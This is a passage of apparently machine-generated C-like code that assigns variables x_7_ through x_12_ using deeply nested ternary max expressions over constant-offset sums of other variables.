x_16)? (20.0 + x_13) : (17.0 + x_16))? ((11.0 + x_9) > (14.0 + x_10)? (11.0 + x_9) : (14.0 + x_10)) : ((20.0 + x_13) > (17.0 + x_16)? (20.0 + x_13) : (17.0 + x_16)))) : (((11.0 + x_17) > ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))? (11.0 + x_17) : ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))) > (((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) > ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27))? ((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) : ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27)))? ((11.0 + x_17) > ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))? (11.0 + x_17) : ((2.0 + x_18) > (10.0 + x_19)? (2.0 + x_18) : (10.0 + x_19))) : (((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) > ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27))? ((9.0 + x_22) > (13.0 + x_23)? (9.0 + x_22) : (13.0 + x_23)) : ((2.0 + x_25) > (15.0 + x_27)? (2.0 + x_25) : (15.0 + x_27)))));
x_7_ = ((((6.0 + x_0) > ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))? (6.0 + x_0) : ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))) > (((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) > ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8))? ((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) : ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8)))? ((6.0 + x_0) > ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))? (6.0 + x_0) : ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))) : (((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) > ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8))? ((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) : ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8)))) > (((4.0 + x_12) > ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))? (4.0 + x_12) : ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))) > (((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) > ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25))? ((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) : ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25)))? ((4.0 + x_12) > ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))? (4.0 + x_12) : ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))) : (((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) > ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25))? ((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) : ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25))))? (((6.0 + x_0) > ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))? (6.0 + x_0) : ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))) > (((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) > ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8))? ((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) : ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8)))? ((6.0 + x_0) > ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))? (6.0 + x_0) : ((6.0 + x_1) > (6.0 + x_2)? (6.0 + x_1) : (6.0 + x_2))) : (((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) > ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8))? ((15.0 + x_3) > (4.0 + x_5)? (15.0 + x_3) : (4.0 + x_5)) : ((14.0 + x_7) > (10.0 + x_8)? (14.0 + x_7) : (10.0 + x_8)))) : (((4.0 + x_12) > ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))? (4.0 + x_12) : ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))) > (((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) > ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25))? ((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) : ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25)))? ((4.0 + x_12) > ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))? (4.0 + x_12) : ((8.0 + x_14) > (3.0 + x_21)? (8.0 + x_14) : (3.0 + x_21))) : (((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) > ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25))? ((2.0 + x_22) > (9.0 + x_23)? (2.0 + x_22) : (9.0 + x_23)) : ((6.0 + x_24) > (8.0 + x_25)? (6.0 + x_24) : (8.0 + x_25)))));
x_8_ = ((((16.0 + x_0) > ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))? (16.0 + x_0) : ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))) > (((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) > ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13))? ((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) : ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13)))? ((16.0 + x_0) > ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))? (16.0 + x_0) : ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))) : (((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) > ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13))? ((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) : ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13)))) > (((2.0 + x_14) > ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))? (2.0 + x_14) : ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))) > (((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) > ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24))? ((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) : ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)))? ((2.0 + x_14) > ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))? (2.0 + x_14) : ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))) : (((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) > ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24))? ((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) : ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24))))? (((16.0 + x_0) > ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))? (16.0 + x_0) : ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))) > (((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) > ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13))? ((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) : ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13)))? ((16.0 + x_0) > ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))? (16.0 + x_0) : ((15.0 + x_3) > (18.0 + x_7)? (15.0 + x_3) : (18.0 + x_7))) : (((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) > ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13))? ((14.0 + x_8) > (1.0 + x_9)? (14.0 + x_8) : (1.0 + x_9)) : ((3.0 + x_12) > (11.0 + x_13)? (3.0 + x_12) : (11.0 + x_13)))) : (((2.0 + x_14) > ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))? (2.0 + x_14) : ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))) > (((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) > ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24))? ((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) : ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)))? ((2.0 + x_14) > ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))? (2.0 + x_14) : ((17.0 + x_17) > (7.0 + x_18)? (17.0 + x_17) : (7.0 + x_18))) : (((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) > ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24))? ((17.0 + x_19) > (4.0 + x_20)? (17.0 + x_19) : (4.0 + x_20)) : ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)))));
x_9_ = ((((14.0 + x_1) > ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))? (14.0 + x_1) : ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))) > (((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) > ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13))? ((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) : ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13)))? ((14.0 + x_1) > ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))? (14.0 + x_1) : ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))) : (((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) > ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13))? ((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) : ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13)))) > (((11.0 + x_14) > ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))? (11.0 + x_14) : ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))) > (((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) > ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27))? ((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) : ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27)))? ((11.0 + x_14) > ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))? (11.0 + x_14) : ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))) : (((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) > ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27))? ((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) : ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27))))? (((14.0 + x_1) > ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))? (14.0 + x_1) : ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))) > (((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) > ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13))? ((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) : ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13)))? ((14.0 + x_1) > ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))? (14.0 + x_1) : ((2.0 + x_5) > (8.0 + x_6)? (2.0 + x_5) : (8.0 + x_6))) : (((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) > ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13))? ((10.0 + x_9) > (7.0 + x_11)? (10.0 + x_9) : (7.0 + x_11)) : ((17.0 + x_12) > (3.0 + x_13)? (17.0 + x_12) : (3.0 + x_13)))) : (((11.0 + x_14) > ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))? (11.0 + x_14) : ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))) > (((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) > ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27))? ((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) : ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27)))? ((11.0 + x_14) > ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))? (11.0 + x_14) : ((9.0 + x_16) > (17.0 + x_19)? (9.0 + x_16) : (17.0 + x_19))) : (((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) > ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27))? ((16.0 + x_22) > (13.0 + x_25)? (16.0 + x_22) : (13.0 + x_25)) : ((17.0 + x_26) > (7.0 + x_27)? (17.0 + x_26) : (7.0 + x_27)))));
x_10_ = ((((16.0 + x_0) > ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))? (16.0 + x_0) : ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))) > (((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) > ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13))? ((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) : ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13)))? ((16.0 + x_0) > ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))? (16.0 + x_0) : ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))) : (((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) > ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13))? ((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) : ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13)))) > (((13.0 + x_15) > ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))? (13.0 + x_15) : ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))) > (((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) > ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26))? ((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) : ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26)))? ((13.0 + x_15) > ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))? (13.0 + x_15) : ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))) : (((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) > ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26))? ((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) : ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26))))? (((16.0 + x_0) > ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))? (16.0 + x_0) : ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))) > (((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) > ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13))? ((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) : ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13)))? ((16.0 + x_0) > ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))? (16.0 + x_0) : ((8.0 + x_2) > (4.0 + x_3)? (8.0 + x_2) : (4.0 + x_3))) : (((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) > ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13))? ((13.0 + x_6) > (19.0 + x_9)? (13.0 + x_6) : (19.0 + x_9)) : ((6.0 + x_10) > (17.0 + x_13)? (6.0 + x_10) : (17.0 + x_13)))) : (((13.0 + x_15) > ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))? (13.0 + x_15) : ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))) > (((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) > ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26))? ((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) : ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26)))? ((13.0 + x_15) > ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))? (13.0 + x_15) : ((13.0 + x_16) > (1.0 + x_20)? (13.0 + x_16) : (1.0 + x_20))) : (((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) > ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26))? ((19.0 + x_22) > (2.0 + x_23)? (19.0 + x_22) : (2.0 + x_23)) : ((8.0 + x_24) > (15.0 + x_26)? (8.0 + x_24) : (15.0 + x_26)))));
x_11_ = ((((15.0 + x_1) > ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))? (15.0 + x_1) : ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))) > (((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) > ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13))? ((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) : ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13)))? ((15.0 + x_1) > ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))? (15.0 + x_1) : ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))) : (((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) > ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13))? ((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) : ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13)))) > (((9.0 + x_14) > ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))? (9.0 + x_14) : ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))) > (((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) > ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26))? ((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) : ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26)))? ((9.0 + x_14) > ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))? (9.0 + x_14) : ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))) : (((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) > ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26))? ((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) : ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26))))? (((15.0 + x_1) > ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))? (15.0 + x_1) : ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))) > (((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) > ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13))? ((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) : ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13)))? ((15.0 + x_1) > ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))? (15.0 + x_1) : ((12.0 + x_3) > (1.0 + x_5)? (12.0 + x_3) : (1.0 + x_5))) : (((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) > ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13))? ((3.0 + x_9) > (12.0 + x_10)? (3.0 + x_9) : (12.0 + x_10)) : ((4.0 + x_12) > (10.0 + x_13)? (4.0 + x_12) : (10.0 + x_13)))) : (((9.0 + x_14) > ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))? (9.0 + x_14) : ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))) > (((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) > ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26))? ((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) : ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26)))? ((9.0 + x_14) > ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))? (9.0 + x_14) : ((10.0 + x_17) > (9.0 + x_19)? (10.0 + x_17) : (9.0 + x_19))) : (((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) > ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26))? ((11.0 + x_20) > (11.0 + x_21)? (11.0 + x_20) : (11.0 + x_21)) : ((6.0 + x_22) > (10.0 + x_26)? (6.0 + x_22) : (10.0 + x_26)))));
x_12_ = ((((10.0 + x_1) > ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))? (10.0 + x_1) : ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))) > (((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) > ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11))? ((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) : ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11)))? ((10.0 + x_1) > ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))? (10.0 + x_1) : ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))) : (((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) > ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11))? ((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) : ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11)))) > (((5.0 + x_13) > ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))? (5.0 + x_13) : ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))) > (((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) > ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26))? ((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) : ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26)))? ((5.0 + x_13) > ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))? (5.0 + x_13) : ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))) : (((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) > ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26))? ((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) : ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26))))? (((10.0 + x_1) > ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))? (10.0 + x_1) : ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))) > (((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) > ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11))? ((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) : ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11)))? ((10.0 + x_1) > ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))? (10.0 + x_1) : ((19.0 + x_4) > (5.0 + x_5)? (19.0 + x_4) : (5.0 + x_5))) : (((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) > ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11))? ((15.0 + x_6) > (7.0 + x_8)? (15.0 + x_6) : (7.0 + x_8)) : ((3.0 + x_9) > (5.0 + x_11)? (3.0 + x_9) : (5.0 + x_11)))) : (((5.0 + x_13) > ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))? (5.0 + x_13) : ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))) > (((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) > ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26))? ((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) : ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26)))? ((5.0 + x_13) > ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))? (5.0 + x_13) : ((7.0 + x_14) > (5.0 + x_15)? (7.0 + x_14) : (5.0 + x_15))) : (((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) > ((12.0 + x_23) > (3.0 + x_26)? (12.0 + x_23) : (3.0 + x_26))? ((10.0 + x_18) > (1.0 + x_20)? (10.0 + x_18) : (1.0 + x_20)) : ((12.0 + x_23) > 